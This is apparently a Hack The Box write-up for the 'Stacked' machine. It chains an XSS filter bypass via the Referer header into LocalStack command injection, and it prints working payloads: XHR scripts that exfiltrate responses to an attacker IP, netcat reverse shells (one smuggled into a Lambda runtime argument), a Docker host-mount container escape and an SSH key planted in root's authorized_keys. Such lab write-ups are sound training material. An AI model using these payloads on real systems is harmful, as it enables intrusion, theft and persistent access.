Info

Stacked is Linux-based insane machine, created by TheCyberGeek.

Enumeration

Let’s run nmap to see which ports are open.

Okay, so 3 ports are open. 22 (SSH), 80 (HTTP), 2376 (DOCKER).

Since port 80 is open, we should be able to reach a site. When we reach the site, we can see it redirected to http://stacked.htb/ so let’s add it to /etc/hosts.

Now, let’s visit http://stacked.htb.

It works!

With nothing interesting to explore on the site, I decided to start gobuster, but nothing useful. Let’s run subdomain fuzzing.

ffuf found portfolio.stacked.htb. Let’s add it to /etc/hosts and visit.

It works! Download button on site leads to portfolio.stacked.htb/files/docker-compose.yml, it might be something interesting, so let’s download.

Exploitation

Looking at the docker-compose.yml, The machine is likely has localstack version 0.12.6 running on the localhost. localstack is basically AWS but host in local machine. Looking at localstack GitHub repository, LocalStack version 0.12.6 is not the latest, so there are chances that version has vulnerability.

I see several possible vulnerability. The OS Command Injection is the one we looking for. Let’s start the image on our local machine first. Make sure the docker-compose.yml exist in the same directory and run docker-compose up. It will download the localstack v0.12.6 image and running it.

docker-compose up

Then we can start interactive shell inside the container for a closer look at the source code.

docker container ls
docker exec -ti CONTAINER_ID /bin/bash

While researching docker, I found localstack source code files.

We can see api.py code in /opt/code/localstack/localstack/dashboard/api.py has the route. On the OS Command Injection section of the blog, If I make a POST request to /lambda/<functionName>/code the parameter functionName is passed to get_lambda_code. The get_lambda_code function want awsEnvironment parameter. So we can input the functionName with command injection with awsEnvironment parameter to our localstack machine to test it. I try this script to create a test file in the localstack machine.

We need to send the POST request to port 8080 because that is the dashboard.

curl -X POST "http://localhost:8080/lambda/func;touch%20test/code" -H "Content-Type: application/json" -d '{"awsEnvironment": "nothing"}'

And, Command Injection works. We need to run it on Victim machine. Let’s try to trigger XSS on site (it has contact form).

XSS Triggering was successful. But, I got detected so we need to try to bypass this. Let’s fire up Burp Suite. Don’t forget to run python server.

<script src="http://localhost/index.html"></script>

Now, select all and send to repeater in Burp.

I tried XSS payloads bypass in the message field, but no luck. But when I try the payload on every header, the JS script is executed from Referer header and not returning XSS detected.

XSS Not Detected

For each request, it takes a few minutes. A hit came to me after 3 minutes.

Now from this XSS I need to get RCE, but how can I confirm that localstack exist on the remote target? From the headers I can see that it’s using XMLHttpRequest to the request.

I can make a XMLHttpRequest that doing a GET/POST request. Script:

// Doing GET request to localstack dashboard on port 8080 to see if it's exist
var xhr = new XMLHttpRequest();
var target = 'http://localhost:8080/'
xhr.open('GET', target, false);
xhr.send();
// Sending the response back to my python listener.
var response = xhr.responseText;
var xhr2 = new XMLHttpRequest();
// Listener IP
xhr2.open('GET', 'http://10.10.14.119/' + btoa(response), true);
xhr2.send();
localstack_confirmation.js

Now, start again python server.

I copied the successful XSS request from the Burp to curl command (Select All > Right Click > Find “Copy as curl command“) to make it easier remove unnecessary headers like User-Agent.

Run the curl POST request command and after 3 minutes, the python server show two GET request from target machine, the first GET request is the machine getting the localstack_confirmation.js from python listener, and the second is executing the localstack_confirmation.js code that I make above and send the response back to python listener as BASE64.

I decoded the BASE64, and it’s the index.html page from localstack. You can check it by
running the localstack image again and visit http://localhost:8080 on your machine.

Getting Reverse Shell

Now I know that localstack is running on the Stacked machine, It’s time to do OS
Command Injection through XSS. I’ll make revshell.js.

// Doing POST request to localstack of Stacked machine.
var xhr = new XMLHttpRequest();
// the command injection payload is 'nc 10.10.14.119 4444 -e /bin/bash' 
// base64 your payload
// then url encode of "echo bmMgMTAuMTAuMTQuMTE5IDQ0NDQgLWUgL2Jpbi9iYXNoCg== | base64 -d | sh"
//
//
// The finish payload would be "echo%20bmMgMTAuMTAuMTQuMTE5IDQ0NDQgLWUgL2Jpbi9iYXNoCg==%20%7C%20base64%20-d%2>
// and put the payload after the semicolon
var target = 'http://localhost:8080/lambda/test;echo%20bmMgMTAuMTAuMTQuMTE5IDQ0NDQgLWUgL2Jpbi9iYXNoCg%3D%20%7>

xhr.open("POST", target, false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ "awsEnvironment": "nothing" }));

Now, start Python Server on port 80 and Netcat listener on port 4444. Execute the xss_curl_cmd, which is basically the request from Burp that I convert to curl.

#!/bin/bash
curl -i -s -k -X $'POST' \
    -H $'Host: portfolio.stacked.htb' -H $'Content-Length: 149' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Origin: http://portfolio.stacked.htb/' -H $'Referer: <script src=\"http://10.10.14.119/revshell.js\"></script>' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
    --data-binary $'fullname=test&email=test%40test.com&tel=123123123123&subject=test&message=test' \
    $'http://portfolio.stacked.htb/process.php'
xss_curl_cmd

Before executing, make sure you’re running Python Server on port 80 and Netcat on port 4444.

Executing XSS Command

And, voila! I got connection after few minutes. Stabilize the shell.

python -c 'import pty;pty.spawn("/bin/bash")'

User Escalation

Exploring the shell, I can tell that I’m in docker container.

Docker Container

I researched the docker until I discovered something very interesting.

I searched the internet for AWS lambda capabilities, potential vulnerabilities, etc… Reading this, after a while I realized what I needed to do.

LocalStack – A fully functional local AWS cloud stack – Blog Post about AWS cloud stack

AWS Privilege Escalation Vulnerabilities – Rhino Security Labs

AWS Lambda Documentation – Amazon

lambda_api.py module could be exploited but has to be reloaded. We’ll create the function for the service running on port 4566 and attempt a reverse shell. We’ll use a python run-time environment since we already know that’s in use for localstack, the box has both python2 and 3 installed so it doesn’t matter which we use. But, first we’ll create a zip file with lambda_api.py in it to create function.

zip lambda.zip lambda_api.py

Now, let’s create function. I made the AWS command with the help of blogs from above and one guy from the Discord server. Open another terminal and start Netcat listener to port 9001. Then, on container, create the lambda function.

aws --endpoint-url=http://localhost:4566 --function-name=user-escalation --role=arn:aws:iam:local lambda create-function --region=us-east-1 --runtime='python27$(nc 10.10.14.124 9001 -e /bin/sh)'  --handler=lambda.handler --zip-file=fileb://lambda.zip

And now, invoke it.

aws --endpoint-url=http://localhost:4566 --region=us-east-1 lambda invoke --function-name=user-escalation output.txt

And we are root of the container. Check your Netcat listener.

Now, cat the user flag.

And that’s it! We got user.

Root Escalation

After looking around for a way to escape the container, I see a bunch of docker certificates.

Running docker images command and docker container listing return:

Looking back at port scanning section above, there is one port we haven’t look at. And that port is 2376. Let’s visit it. With HTTP request, server returns an error, so let’s use HTTPS.

So the certificate is used by docker to authenticate. I tried to run the second localstack container that has Image ID 0601ea177088 and mount the real machine to /host directory of the container. First I need to open another terminal and give a reverse shell to that terminal on the container root shell.

nc 10.10.14.124 1234 -e /bin/bash & 

Now I have two root terminals. Let’s run the second localstack container that has Image ID 0601ea177088 on first terminal.

On the second terminal find the newly created Container ID.

docker container ls -a

Copy the latest Container ID and execute it on second terminal.

docker exec -it 8d8fb72ec3a9 /bin/bash

And, the real machine is mounted in /host directory. You can take the root flag now, or you can get Full Access (SSH Shell to the root). I will show you the way to full access, using SSH.

I can put my public key to /host/root/.ssh/authorized_keys so I can login using SSH.

Copy your public key, and add it to authorized_keys file on the remote target. Run this on second terminal:

echo "your id_rsa.pub key" > /host/root/.ssh/authorized_keys 

And now, just SSH into the box using your private key.

And that’s it! Cat the root flag.

PWNED!

Thank you for reading this writeup. If you want to support my work:

Hack The Box Buy Me A Coffee GitHub Discord